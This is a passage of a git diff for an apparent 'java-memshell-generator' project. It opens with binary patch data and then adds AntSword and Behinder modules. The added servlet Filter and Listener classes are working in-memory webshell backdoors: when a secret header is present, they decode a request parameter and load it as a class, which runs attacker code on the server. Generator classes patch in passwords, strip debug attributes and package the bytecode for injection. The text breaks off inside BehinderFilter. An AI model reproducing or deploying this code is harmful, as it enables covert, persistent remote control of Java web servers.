zBF8uAIJNX@H&a|x{LS(|bD3I&c)JvidfHIl#wHK+H69%N$sP4%DCyuerPMGqG+ZUn
z(b2gx6S{PLbl~ocbJXG8?LPD=ug6~QwPHIpOWr^h&6ASa7ic-<>Es#Ync|~WSy{gx
z0Q~t_&fsC4&%8^S%(e|V3B;Jp_3$OgEC9HqrrInrfWfL`5NMmTK}oT7v?qJZ%rt+v
zB-Zdz+0=I#qU@+lIH@sL!Q&YAh8GS3%Ce`?c+{ovx(DXMSuy*EM^0X+5w;e*7g5+h
zhadYQYOi1|7nD43SUbL2h%E2eAHdw5)9O#1ytE}4ZNbKoZJwgn
zv`ft>M7cmHcA8-vv`3eb);Wnv!{cF1}SlmI=HT%(d~qZ5{NZ<~83?8eWBBA_&KNTd^X2$R)MR=9Rzx*ookC3*b(_NIb75$h?I
zY$KHOG(;p2go2f*&$MMcRQw9vC3%{qEJz`54J{%gs+nUE|^ZT
z`ZEF;p`f{-X6-T};_q56s?F@o=H`ddNlR^pHazP|_dPnCzcnuF1Kd>wcH5YJB-K)M
ziu-x2-fCY<4RLf3ovz2nJl}D>=qTKci!q|+y;VIdYwy#qIq&37v{%i%w=!4Fo$w7DOjcDp%bN%-aBQB0BTpai%E)mh(&Nu_g3nJzXn*Zv+Amw>
z0r)MbEYhclwNf|}ck}T8hz#tB);d?X3#dgL=%Xh<&rFc?bVX&!sYGfa28)ckV>)Np
z>tc^j`Y(bUdEGlOVG=0^V4b>i?WdOsGZkCp#m`%??Ls4>Q(5oIhZU(r>_;v^0y!?H*gaLKXq1(3wb{o(z$JJ-uwJKO?+K}{Fm^}H-;wWDBCd>
zX^FHEMKh7$5-?%#H%pVL({8I#avLhvgYE*JQf4LX%}bLS><9&vGYH+x)0B(lb-dU#
zd1kS;R$i4wx}$A{O|LNdWJ6d1=UbG~P$wga5Y>G|&55E#FoFRFtmGQ?^E2xDHoO50
z(@@nzs{rRv1D9G$X)*}14RjJ9r^SXLv>+-vV8Y}3Y069T!0iGUYr1b=Hkt7U@Cc%)
z0y|P~&ifrs{;^J?g=sIw{%nGi5ex}UN@mAkAV#61Cw&|XY>wBqxl)-
zLklq3e2&)NRrGy^PmewY7X*6f=`Rqw_-$HghEFG{ug*~MRKHJ?`KSot4nyf}o
z_mjQa?v)`pTBYUCKV%<$-*Gu-;{D`~d{_{V|CZdGE!eDTMY)SYMi{R?-ZWUXxh4Mk
z>2{X6=EYCp;aU6fm%e@nni3(>YFeNzE6_Xw5uzL%a(0IunSc#niUyc*{2c(h`S`3W
zfh?(20^o9hw#trrMCO`}4+dibRLcSIPAHlqPC-S{u%MXt$~sRcwWHZtCu@x94LJ|NJkcttl5$gk!GGLyJ(rtUIlM$5UXoOgQ(>sOrPJ4DozIbD?9YJK(kpz>;h4IB7`Hkv$pp#g9qYdxbsKA`
z=rj#`!xe-qezei1%-(S6j2dXfLAp}>=xH}^lJBpZSI8iCk
zJ@%MV0WQ~;x*Wr6?c(|x>2*S%J=ro9sa6usZB2Fvee)c(JfFpGw|e;%VJ(4>S@o%5
zQ;F*DVQ<`5G^ca!#b3eA)|H~pe7L0jXPh~tz2$4XFydoCc+xG!chlFdZPf@wzua!U
zZ!y^*^c^u2KDqfT*InsVD?;L8W_AFH=f!v>Po6ZnEJbjJv#zF^kkFu3ZqD
zuP4@?VLy
z9}$r??xIuQa|aCe$wEp9cZ$--%K#2uuWo>1(xrMli1?d%{|)}AvraZmsenXhLB6(j
z8>SXWZ$UcLB-a7EZeg)uk2$VhvCoX`6t`EG;4bP*Ovy2iO7i;y!=uT>#t-C5Myp1K
ztxnM>xsBlkjUYm2o5AaSy^1}L9y*`=EW*!6M{+QJ{8zK)`W~e+;alQb>BSRHa&1v%
zYv?~UQ);vFkT-vdKB^)YZakkppK1zrhGOe+(|H><`k@n@=ND}FiG^O{bl9~nbJTT^
zeJBLuZuGtztLTertYnhYjf|Cvr@iDi{8sF40UysG6opod|9wATkSs(*d!{S14N|)j
z!TpPLN}wvTmCqA{9p$#uYgK2hM~)(r@U}x%pS2d@ts6gV8chf#yO`>iV{0?oK#=%J
z8#wC=oX$rccW8PEuRpMA*;5pOT!u&NTDJ%FHE^X|^l9EbZAUjIYC8!AHk
zt77sI9&xTs=k(E(fxHsKGK(p-VLWKoU1gC*Iw+CXvUDk=53hu@D9=kP3UJaM^hYf7
zB&qvTu$o_=AN?s)fxdS~%K6Ncwz=`kB8-FFEgDWqFU``A8!{rls61D9eBp{6x$%c`
zqgugkS=l$n6P@N2w?dCdy?`1fO?9qmeFFK~(Urijk@YG;;6Yd9>(tBtRW9vA>3riu6+Fhts<$wd;x{%xK9)KOwb-Y&-F^4
zHxg|!ziNI}x-HmtXzP^Agzl7`N+0{^C|5h`bYizCv8v8&KW*Addb{O
z{|Qzg0i86qR;45zPhtU&$lT!7@
zePleNHUY(_pd=7~F#gQ@CO&ezHsdK&*pE%gX&C4KwH3hrj)lnKywhw^m1imKbKsXC=9b%RAwAQqP=7QJ-S
zEqdmMJqEoFC5W^%p3_1zGf;uAjFiK|%}PEk9ooJ2XH(3>^pfsNp+A4!TAwH~f_Ea&
zapr#jwea|isVPgf@KbskL31rmcJHzBKaAHMGcqq}|DW=%JRIuo?N3QcqR5slMfPkh
zYQ_@D8reddojj$8%*aF~*-aRs?6RvEEkyS0OHofe$TKEeO~cq#c<=A1^!$GBAMf>E
zzdzpVdi$pt^PM^8-1mL%bIyH#KKI$RslG-YE{mnL@H@Rp*Y+Tlqh}Y#nv?ABih--DoAnifka-0k4tcMQMPeW)}hq+w2&zUCf!Id#55GIkr!
zC%e8N(jJpcYvhKFq#3uY)}%@%31CTdHHs1M&A(fwh%E1DI-bFPSC3->q8AOG^sO=*
z+iblDybzWXv1Hny;R}`stOivs%G%Hw2obg{Ie7h{v~cUnx_|H=QWc62%&E
zSh+U#(H*fSCA|TQ2MlVk`g{n;ZLFy`e9o%woUo^WQ{<&kLQ-Iw#Ci2yBo`-d!_bXN
z*53K}>x#*pF;WVP(|(G|Sfw%*>k68RbykOC!rGW2i~T2~k6_dr2j8>_QaVYB%2lur
zdo@y9M>!StSuCvWK)Y#?wbG&-*##5d2%%(3H6=qm5C3YPx==v|YbDmx#Wk{zUtQ~D
z0FizB-3v8dT_yeq8{V!cS5MXHi~Yl_SYw}%xa)DZnS%B%_RJ=1(9TdP`2IkKQ>;t$
z)7Cw?n1b#LjoU6Bm15(IwxC1O!mTT7^SgkgLrldHG0al-;o7-&q=HYaM2#l)SI>;?S0G?J8GW`-$^N`ZgJpFacD(M-UM=39VV^GB07?2e;C&d^D=K4;yL|9}0`U
zc4V(bxkx!gEX<)4Ll6gqidO;{nG}H9r>8a?qm5jTUq-;wB~4N5o&x`!>oC9@xjTv*
z#7ExY*q99Ogm%~~W6;9hCkw;})|WG9!OgjKkn1LO*&oHbl?!<%;63%!T61c?n{aNE
zXiUOiT(>)`%7)XWoTmJN`@T#IPteu`dEYqP8p#w4J&fQ1!L(bL^j`Ay11$>l)Juk;
z^huSQLMhT=)#39y^=tb*3rY$EGMzr3md5w1-|lUEw%)7Iz=6b~RfhRc$BTWG$v?O3
zJY=-HY(Hl24o?!k#)IUs(MR5c^q>`YV6Q=o)mY}S5u?8rWjQb1wHtisfSz*JQQ18D`l
zPlEfhME+=+do{;>)cIZe{(z7m5jKWy`?Gk$*iJ2WgrrQ}lfjZEi@zK5}6G94*hS-(BJQYzIQ?7Ysw@&nV>q1C1s!ulV0`DiRYK^H-_P&Bw
z46lid@OkRmb^8Hqh2A3+Lb#o)1=h~?2Yg`*lMzV$e3n|K<>(v*EGe`wK-TCEy2(u}
zd!7?b;G5ZyI$(J}YTdlG|JwleEX563n)R5ZiwL0O4=lNy>ev=^B!QAF)P@Y_z-cZ26qb%L_vUY<)n
z2;hJ+ee3(~D8Ah~+}6LFUEG)=z;Y-DjnYb0#dCuz2)t5n
z4!5O6zgC1ueJ5`wp&<5PH3b-YJSS>>W(|F7<&Hc!dYdf&%~x7pM8~9r_tsd~pV@y$
zk8B8hz~ZgkiokOpY@QXN_nEn>Tx^aEB8)>E%-PrzIhjEs6sn^*$7wyxHZ1lWY*E=l
zvycdZ=t@ikbwq(cVwcgrr89SdE9@m;=7`juKV`HI?
z=zWqHgn_CdlUL^mnYCkT!iT)hJ;I(zn=FmFY@D|Q$h@%Hfa!TLWzUg3_o*$l6WB{7
zI``GY$*%IU8ko@f5&n*gmL(&S8-otboA;E(Y_LWxDWR2i_Et^1_uGYEYbE;kNc(Mm
zt}nO&%c|_*{hXfOH2p@uq9K0S3f0W->2m2F>o<(1+!_zaWU*DDRrw|^m2;(BQaGy=
zb+){qugQuoDP>^cN8%oCFL|O(9eqG)r@2BA*|O*TpV2br0Fq%dE^(9-SK+JyT%h@OVFx{d=-{Jj2>x!tnd6oX
z{_jixBHwnqyMMh@#9OOvj|zqyTs~*9ZzJ~KsIvj+U}d$XaY2DuHoK>tXwNC-hML#=
zZCNiY6$Bwju?2z&U=KB~WjnPDl;BvjXcz#ROAT(@eD6;N)`Gcd4{rG=IZ@wv?R*rkg}-F*omNt-eWNf%}}k!R}wa39D%
z8~((>K~0a@`RD1+6-$)%hupj`gEd{#qoA9B9C+!0_E+JU
zI{o=Q;j0y2WDw-zf=7>;OVrXs3Ym7C3Ku*WebazP5NJu8-h$HCS$vFFm4jT~#mSdju;4!As2%*i5qZNd08qt2`!jn)o4
z<|n*sjYU^-@G{jkO&TT0lAq#fj(sIhiuy$cEL*p9)y^ap1xOW&iPcz>dBmN0{o_+p
z(`~dGyKcB!{`th6!Kzm?
za+Q3YOA2aI4jUt5&|frIc`uO>dZ1%wbF^2$-;k&!WH{n6vAGy5=_#pboVELqRr2H_
zHc(>FDe}=kn$<$rTp@4J>w~I&y~(Pu@0%k(Z%HywhA>CT_bGHP6A~kn`+}VFZz|hX
zq4LDFC;gYlmydbKY$ixcTy~7Gu#iy0*0*#Nk9h8t7CMia$**x0-oUZZW%)4Ot*=D!
z@ckF9>^th8*0?vRzqz4Jh`krAwFNC!W(Dj1
zEO8>~QX>X^yeo8vm0$-{@!<2LvPdC5E=SpPcW~&983Hx(2c0TM`kF`DqbIhwrYk6(
zKRV%nyDRLw{qCJ)BIi|3nMzol7s>Q?Z8BZ!R=Jkb^A`;Q*EZPE`HqG=iIZ&wm=HvH
zLI+#AdW*&_ab`cBi_@Z~l*1C72>uic@9wUe+I$D+LtAKz_Wky}uhJ(K+gY*W!mQY^
zn5&ekaPE%qDWin9t=Hp5Q&{b8z6+63Xz*VcWujNh8kAi-Y0
zkmWft_$rLzMk$Y)?nGwWD{^OG0{I5et=K
zdqbom0i7BC`2MS`D7`7)t12Bv2M5JT`({G3_MM_5F}D4hZK5Hj?%w7@yzHJs?YK^+
zt`*982=
zXd1Y7U7iyj(XT-`yqDHAi3=Zb)K%NmtlC6S)oEqPRfxmkZ$1pR@&S4T#7FsQT1W*&1`;l&Fg{D*g#dh1!c
zk0x2I?6=QsElRb}7<7ERAMOb7<|f)|%K2_L9j8uo`2>>jA~B!dKOTT`49yd;QSgK9
z=4h?2-AIFQ;NuBflEGtB?xFTU(q#2nci(xF^yz%I1%o?k`x6&T?dlanqPK|iN59-x
z_5^o|dvsVJJR_SWk}rA5qoYktO89$l*ND7ok4pnnP?53V=l7|S7~{RP-ofm;QQune
zJVQrg6&(@vm@{OZG$k|3L``aBZFY_Jl~@I8?R&d!s9&Ld{G6deN+{;!8JUkdT0xwr7EkVzc~oSW22ponBczW4
zH@o@HCmB8)0%S(gI(~VTVGDgZ@f-jdlt)!+U#X@`5%|uuiMk=9ox`yC+UB3XmQMfp
z{n)Yrf6o(FF6*f%9pR9S<8zWBZ*y=QXvHjuI1%qLH5?MZVhAg^UCn2-ncZ=o10PCW
z<|U5b#63~+ZM|$Ckr6-X5f0=a&v~iR)-||g!QBr>ZU_P1dKcjJoN7%9LBw`uVurBBtPM4-OU&CTHVWU_4D_bsAXk
zJz~pHx5Mh-%w0}DD-p2e83+=X>Z-MjJVSlVowQk=o%^G0sm+-Vq9Rp2z}7j1iTpmZ
z=eeAm)`66>3pXeeV@=N9mMR)2I=Z9YDfg={nmR8R+)!R_!_m8Aq-(r;%xhw>h;`UfGe%+RLt|$P=2usB8=xv~WDHp3_~egKDotc-7s!lgyl=?q<}idsQYfHcur{
zFMBb8)h;sG&>gBcI2mBK)q|gr%S@b{@hr&?Po}TiYpYvT%;?xvw5Y?M0P4m
zH(h(Jc=u_m-m9SyiZeU^^X5tI-52w$4Fq`Q&$Gq`%UC?Bf4D@{Z{CxecU-UJMO>D_
z?2GhI7JS<~k31P9$y6>220w!vEN2DwNQ}{qk~9L-N^8%GdS>UuK*hJ9LuwA{zS>cd
zy!mFQAGapy!{q9vO{Dfv-)X-?2-RZ_cl_7xeFjLJ6!$OS!CPL_92<_~r$cO$FoWbr
zus2#NH70$w5l{ZZc)&02<YkUP}o&T`w;Uu>Cdh0dkaCg{dgIJC_KNd0dW3APSvaSYTe6~&Pnd?30
z(~Q>Q$Ibb?_fjuj7+CTv^g*tR9_2Uo7Q)~PsYWg8(a{rv$;S>)KFw!+kNxz#5a1f~
z+vY^BD3JxSZvfG);-P-S4eoFu0h#;S!ymU99K&A?@Ut8YOvWDun9(ws1Gzk&o<`aD
zX3HdQq|&N&vGUVLvn|OtVqa?NN}RMS$(8Y4?9$uyh^Z$(&`)G=cwvCB=Uc|Xil;3U
z1QYbNjeEDhAA&*h>iYo_(z%>H(t~i>HybT@F6)QFXMP+jwDvz>3xwc>f{v7Sxm3a{
zskmG3-Gskk(A8c5-+@w{-;Ll$4{euZ~pCzP)djKO{A{TRR)r5(loFy!Er@iNVSBl6~*BJvxZbB_@QDb%G4m(
z_;Zl$>FGNOh_uJ%ftDb}cqxUP|I#`bH4oHQzooYxAaS4;r~)TpBqb@?NW<>^r5ja7
z>4S36hSa!A9CZJ;FZQT5Gq7!7Fr{4#CIT_;pBhqz+Mpn}NF@_)%q$yt!!Q=c9K#{g`9C|ypvn$XYY5B)Cb6uv^dzH=NE<|hrF0NdvrbK)
z&qs_e(13n*#L&kk3h4$_<$qv(EnFsSec>lyM{jM4DSGx6~qyN3AWNqBL7tf
z;FxyvugoEY%_GHtQ2r_kvf>%EYWh}f>|Y#$Ck1BYiqd^%seVI@8HzZLgvkm7zlr#Y
z>0croBmymi>Zb!_4u;n)?P9p^=KrkiuFg%c(43q`MjMCxz>J$m>VZdunCnQ?6t!n@
zbv7#xK{c%v!NWTJLpA^I##Su&mUhFa_^J@WWC(dz$OcB9n{}Lfr_P_cCVTPkVi@2CM
zq#VspJ49ANs_?39{j^3HMf8mow~mx*np{~9e;E9arSKo_2I@{T+UTSk#G}ntaKsE3
zo9NO(vs|4VQsXjU45n(oi}1f$DSmm4|J+Ie{{DxX{mbHaG+>iN>xeTOko7FY`w++w#th+1g#sAOlt~htR|iDv=UwCl%%eAigmi1I
z3kY(2nRBK7jP@u8(-@6v^fjDA=-eXSsOge$>r6{=rFB5R>%c~ohJGPh;F}Q&rF8Sx
z`>?!6pJ#h^_QR)fw%EV0Yf*PNsqOWP$WvYtD3sRdo1`xR;xD*R*Y{M@yei>;qHsSy
ze`gX3Rj>`79HF96j-&AS?Nsy{6rW}x`laPMltw6R9m;k?HSGfa5(b6huckd2Ux(Tu
z-klV24Sw~v_u3ZkuY9`@1&^m16r#VtZ|H9HcA@woPa&;}PLHW1U1f-2
z3)N_xdkyMN`VVmk3)#0%>fz1Z|_asUFlal^#C3p<)j)R`Z2xP-&2A-b(Av|Pj)?IH7SxVit79ud
z#_-$woKG(dw~Hv2`P3SbcA8e&x*b4jx3KFW|d~eu$tr#z@l`
zQY5Tc-W<<=)4VJd9>MuDTK?ZDfU@lJPXRHMAHF(j5I4{O{ALq>7=cYW&O{Z!nOE!avIPZ0H^d{i>gXD4awwQE|TD2XU}{1@L|t|
zKmAm)TUGtOmwfm1NB#J`gVsLgb@E;@QarfFv#o4;9Zb0|_|r<;Bl2cuW->A|8uy}5
z)BBQ)4BYMx7t~Yev$Ng{FICr~P_D&21#gGz>yJJyD?@LONCuiF0M}=?p-^Im*YYU6=rDM~X5QrdZavps+C96AdUOH1O~SdVBNtoGzc93WQn_i<7kk^=n^yMj-c^
zWVjoOWk_exd5I|0d{vScrD^@t=;*og=MgkLz_|MR`{nu<0I>6igM$M`7{FuS-VgXK
zk5Y{H*i_<q7xSYiol$WII!V^@ZO2I(B%uv+1!Xhoyr0oICRryvX_d*LVKb4%O3S
zn|tc22mHTImB&uCq5V196#XyH+a#zv`O$rPmwhX~pA0SXa>#9nzMm-uOjHo&v**vT
l-ro9H+Lte1#>bbL?a#hE*_m|s2nzn`X&W7Rq-lHezW_LCy#@dP
diff --git a/img/sglab.svg b/img/sglab.svg
deleted file mode 100644
index b168e05..0000000
--- a/img/sglab.svg
+++ /dev/null
@@ -1,100 +0,0 @@
-
-
-
diff --git a/jmg-antsword/pom.xml b/jmg-antsword/pom.xml
new file mode 100644
index 0000000..1c4d2bf
--- /dev/null
+++ b/jmg-antsword/pom.xml
@@ -0,0 +1,21 @@
+
+ 4.0.0
+
+ jmg
+ java-memshell-generator
+ ${revision}
+
+ jmg-antsword
+
+
+
+
+ jmg
+ jmg-core
+ ${revision}
+ compile
+
+
+
+
diff --git a/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java b/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java
new file mode 100644
index 0000000..55e3f4c
--- /dev/null
+++ b/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java
@@ -0,0 +1,56 @@
+package jmg.antsword.generator;
+
+import javassist.ClassClassPath;
+import javassist.CtClass;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.IShellGenerator;
+import jmg.antsword.util.ShellUtil;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+import jmg.core.util.ResponseUtil;
+public class AntSwordGenerator implements IShellGenerator {
+
+ @Override
+ public void initShell(AbstractConfig config) {
+ if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
+ }
+
+ @Override
+ public byte[] makeShell(AbstractConfig config) throws Exception {
+ initShell(config);
+ String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
+ String shellClassName = ShellUtil.getShellClassName(shellName);
+ byte[] bytes = modifyShell(shellClassName, config);
+ config.setShellBytes(bytes);
+ config.setShellBytesLength(bytes.length);
+ config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
+ return bytes;
+ }
+
+ @Override
+ public byte[] modifyShell(String className, AbstractConfig config) {
+ byte[] bytes = new byte[0];
+ try {
+ pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
+ CtClass ctClass = pool.getCtClass(className);
+ ctClass.getClassFile().setVersionToJava5();
+ JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
+ JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
+ JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
+ JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
+
+ if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
+ String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+ JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+ }
+ JavassistUtil.removeSourceFileAttribute(ctClass);
+ bytes = ctClass.toBytecode();
+ ctClass.detach();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return bytes;
+ }
+
+}
diff --git a/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java
new file mode 100755
index 0000000..0ca4787
--- /dev/null
+++ b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java
@@ -0,0 +1,57 @@
+package jmg.antsword.memshell;
+
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class AntSwordFilter implements Filter {
+ public String pass;
+ public String headerName;
+ public String headerValue;
+
+ public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+ HttpServletRequest request = (HttpServletRequest) servletRequest;
+ HttpServletResponse response = (HttpServletResponse) servletResponse;
+ try {
+ if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+ String cls = request.getParameter(pass);
+ if (cls != null) {
+ try {
+ byte[] data = doBase64Decode(cls);
+ URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+ Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+ method.setAccessible(true);
+ Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
+ clazz.newInstance().equals(new Object[]{request, response});
+ } catch (Exception var7) {
+ }
+ }
+ } else {
+ filterChain.doFilter(servletRequest, servletResponse);
+ }
+ } catch (Exception e) {
+ filterChain.doFilter(servletRequest, servletResponse);
+ }
+ }
+
+ public byte[] doBase64Decode(String str) throws Exception {
+ try {
+ Class clazz = Class.forName("sun.misc.BASE64Decoder");
+ return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+ } catch (Exception var5) {
+ Class clazz = Class.forName("java.util.Base64");
+ Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+ return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+ }
+ }
+
+ public void init(FilterConfig filterConfig) throws ServletException {
+ }
+
+ public void destroy() {
+ }
+}
\ No newline at end of file
diff --git a/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java
new file mode 100644
index 0000000..f871878
--- /dev/null
+++ b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java
@@ -0,0 +1,79 @@
+package jmg.antsword.memshell;
+
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class AntSwordListener implements ServletRequestListener {
+ public String pass;
+ public String headerName;
+ public String headerValue;
+
+ public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+ }
+
+ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+ HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+ try {
+ HttpServletResponse response = getResponseFromRequest(request);
+ if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+ String cls = request.getParameter(pass);
+ if (cls != null) {
+ try {
+ byte[] data = base64Decode(cls);
+ URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+ Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+ method.setAccessible(true);
+ Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
+ clazz.newInstance().equals(new Object[]{request, response});
+ } catch (Exception var7) {
+ }
+ }
+ }
+
+ } catch (Exception ignored) {
+ }
+ }
+
+ private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+ return null;
+ }
+
+ private static synchronized Object getFV(Object var0, String var1) throws Exception {
+ Field var2 = null;
+ Class var3 = var0.getClass();
+
+ while (var3 != Object.class) {
+ try {
+ var2 = var3.getDeclaredField(var1);
+ break;
+ } catch (NoSuchFieldException var5) {
+ var3 = var3.getSuperclass();
+ }
+ }
+
+ if (var2 == null) {
+ throw new NoSuchFieldException(var1);
+ } else {
+ var2.setAccessible(true);
+ return var2.get(var0);
+ }
+ }
+
+ public byte[] base64Decode(String str) throws Exception {
+ try {
+ Class clazz = Class.forName("sun.misc.BASE64Decoder");
+ return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
+ } catch (Exception var5) {
+ Class clazz = Class.forName("java.util.Base64");
+ Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+ return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
+ }
+ }
+
+}
diff --git a/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java
new file mode 100644
index 0000000..ea8ebb4
--- /dev/null
+++ b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java
@@ -0,0 +1,41 @@
+package jmg.antsword.util;
+
+import jmg.antsword.memshell.AntSwordFilter;
+import jmg.antsword.memshell.AntSwordListener;
+import jmg.core.config.Constants;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class ShellUtil {
+
+ private static final Map SHELL_CLASSNAME_MAP = new HashMap();
+ private static final Map> toolMap = new HashMap();
+
+ public ShellUtil() {
+ }
+
+ public static String getShellName(String toolType, String shellType) {
+ Map shellMap = toolMap.get(toolType);
+ return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
+ }
+
+ public static String getShellClassName(String shellName) throws Exception {
+ if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
+ throw new Exception("Invalid shell type '" + shellName + "'");
+ } else {
+ return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
+ }
+ }
+
+ static {
+ SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
+ SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
+ Map antSwordMap = new HashMap();
+ antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
+ antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
+ toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
+ }
+
+
+}
diff --git a/jmg-behinder/pom.xml b/jmg-behinder/pom.xml
new file mode 100644
index 0000000..481a09a
--- /dev/null
+++ b/jmg-behinder/pom.xml
@@ -0,0 +1,21 @@
+
+ 4.0.0
+
+ jmg
+ java-memshell-generator
+ ${revision}
+
+ jmg-behinder
+
+
+
+
+ jmg
+ jmg-core
+ ${revision}
+ compile
+
+
+
+
diff --git a/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java b/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java
new file mode 100644
index 0000000..9537578
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java
@@ -0,0 +1,56 @@
+package jmg.behinder.generator;
+
+import javassist.ClassClassPath;
+import javassist.CtClass;
+import jmg.behinder.util.ShellUtil;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.IShellGenerator;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+import jmg.core.util.ResponseUtil;
+
+public class BehinderGenerator implements IShellGenerator {
+
+ @Override
+ public void initShell(AbstractConfig config) {
+ if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
+ }
+
+ @Override
+ public byte[] makeShell(AbstractConfig config) throws Exception {
+ initShell(config);
+ String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
+ String shellClassName = ShellUtil.getShellClassName(shellName);
+ byte[] bytes = modifyShell(shellClassName, config);
+ config.setShellBytes(bytes);
+ config.setShellBytesLength(bytes.length);
+ config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
+ return bytes;
+ }
+
+ @Override
+ public byte[] modifyShell(String className, AbstractConfig config) {
+ byte[] bytes = new byte[0];
+ try {
+ pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
+ CtClass ctClass = pool.getCtClass(className);
+ ctClass.getClassFile().setVersionToJava5();
+ JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
+ JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
+ JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
+ JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
+ if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
+ String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+ JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+ }
+ JavassistUtil.removeSourceFileAttribute(ctClass);
+ bytes = ctClass.toBytecode();
+ ctClass.detach();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return bytes;
+ }
+
+}
diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java
new file mode 100755
index 0000000..c41c4c5
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java
@@ -0,0 +1,70 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class BehinderFilter extends ClassLoader implements Filter {
+ public String pass;
+ public String headerName;
+ public String headerValue;
+
+ public Class g(byte[] b) {
+ return super.defineClass(b, 0, b.length);
+ }
